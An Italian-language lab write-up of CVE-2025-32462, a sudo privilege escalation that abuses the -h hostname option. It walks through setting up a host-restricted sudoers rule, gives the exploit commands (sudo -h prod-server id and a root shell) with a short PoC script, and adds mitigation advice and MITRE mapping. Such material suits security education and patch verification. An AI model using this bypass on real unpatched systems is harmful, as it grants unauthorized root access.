CVE-2025-32462 – Escalation dei privilegi tramite bypass del nome host in Sudo

Indice

1. Panoramica
2. Dettagli della vulnerabilità
3. Impatto
4. Ambiente di laboratorio
5. Verifica della versione vulnerabile
6. Configurazione utente e sudoers
7. Procedura di sfruttamento
8. Riepilogo del Proof of Concept
9. Perché Ubuntu non è vulnerabile
10. Mitigazione
11. Mappatura MITRE ATT&CK
12. Riferimenti
13. Disclaimer

Panoramica

CVE-2025-32462 è una vulnerabilità di escalation locale dei privilegi in sudo che consente a un utente con privilegi bassi di eseguire comandi come root abusando delle regole sudo limitate al nome host. Il problema risiede nel modo in cui sudo gestiva storicamente l'opzione -h (host) durante i controlli di autorizzazione.

Quando una regola sudoers è limitata a un nome host specifico, sudo dovrebbe consentire l'esecuzione solo quando il nome host del sistema corrisponde alla regola. A causa di una logica difettosa, le versioni interessate consideravano attendibile un nome host fornito dall'utente tramite sudo -h, consentendo agli aggressori di aggirare completamente la restrizione.

Dettagli della vulnerabilità

• ID CVE: CVE-2025-32462
• Tipo: Escalation locale dei privilegi
• Componente interessato: sudo
• Vettore di attacco: Locale
• Privilegi richiesti: Bassi (utente non sudo)
• Interazione dell'utente: Nessuna

Causa principale

sudo consentiva all'argomento -h <hostname> di influenzare le decisioni di autorizzazione. Nelle versioni vulnerabili, il nome host fornito veniva considerato attendibile durante la valutazione delle regole sudoers, invece di essere validato rigorosamente rispetto al nome host reale del sistema.

Di conseguenza, le restrizioni sudo basate sul nome host potevano essere aggirate.

Impatto

Se sfruttata con successo, un aggressore locale può:

• Eseguire comandi arbitrari come root
• Compromettere completamente il sistema
• Aggirare i confini di sicurezza amministrativi

Negli ambienti reali, questa vulnerabilità è particolarmente pericolosa in:

• Sistemi multi‑utente
• Ambienti induriti che utilizzano regole sudo specifiche per il nome host
• Host bastion o jump host

Ambiente di laboratorio

⚠️ Nota: Le versioni moderne di Ubuntu e Debian hanno integrato patch backport mantenendo stringhe di versione simili. Questa vulnerabilità non può essere riprodotta sui sistemi aggiornati.

Passaggio 1 – Verificare la versione vulnerabile di sudo

sudo --version

Previsto (vulnerabile):

Sudo version 1.9.5p2

Passaggio 2 – Creare un utente con privilegi bassi

sudo useradd -m attacker
sudo passwd attacker
groups attacker

Previsto:

attacker : attacker

L'utente non deve appartenere al gruppo sudo.

Passaggio 3 – Configurare la regola sudoers vulnerabile

Modificare sudoers in sicurezza:

sudo visudo

Aggiungere la seguente riga:

attacker prod-server = (root) ALL

• prod-server è un nome host fittizio
• Il nome host reale del sistema deve essere diverso

Verifica:

sudo -l -U attacker

Previsto:

User attacker may run the following commands on prod-server:
    (root) ALL

Passaggio 4 – Confermare che il sudo normale viene negato

Passa all'utente:

su - attacker

Prova sudo normalmente:

sudo id

Previsto:

attacker is not allowed to run sudo on <hostname>

Passaggio 5 – Sfruttamento (CVE-2025-32462)

Attiva la vulnerabilità:

sudo -h prod-server id

Output di sfruttamento riuscito:

uid=0(root) gid=0(root) groups=0(root)

Avvia una shell root:

sudo -h prod-server /bin/bash

Verifica:

id

Riepilogo del Proof of Concept

Script PoC automatizzato (opzionale)

#!/bin/bash
echo "[*] Attempting CVE-2025-32462 exploitation"
sudo -h prod-server id

Salva come exploit.sh, rendilo eseguibile ed eseguilo come utente attacker:

chmod +x exploit.sh
./exploit.sh

Ciò conferma un'escalation dei privilegi riuscita.

Perché Ubuntu non è vulnerabile

Le versioni moderne di Ubuntu sembrano includere versioni di sudo che rientrano nell'intervallo interessato. Tuttavia, Ubuntu ha integrato tramite backport la correzione di sicurezza per CVE‑2025‑32462 senza modificare la stringa di versione upstream.

Di conseguenza:

• L'opzione sudo -h non influenza più i controlli di autorizzazione
• Lo spoofing del nome host viene correttamente rifiutato
• La vulnerabilità non può essere riprodotta nonostante numeri di versione simili

Ciò evidenzia l'importanza di convalidare lo stato della vulnerabilità utilizzando test comportamentali, non solo le stringhe di versione.

Mitigazione

• Aggiornare sudo a una versione corretta
• Rimuovere le regole sudo limitate al nome host dove possibile
• Monitorare i tentativi locali di escalation dei privilegi

Mappatura MITRE ATT&CK

• TA0004 – Escalation dei privilegi
• T1548.003 – Abuso del meccanismo di controllo dell'elevazione (sudo)

Riferimenti

• Advisory CVE‑2025‑32462
• Annunci di sicurezza del progetto sudo
• Tracker di sicurezza Debian

Disclaimer

Questa procedura è destinata esclusivamente a scopi educativi e di ricerca sulla sicurezza difensiva. Non testare questa vulnerabilità su sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita a valutare.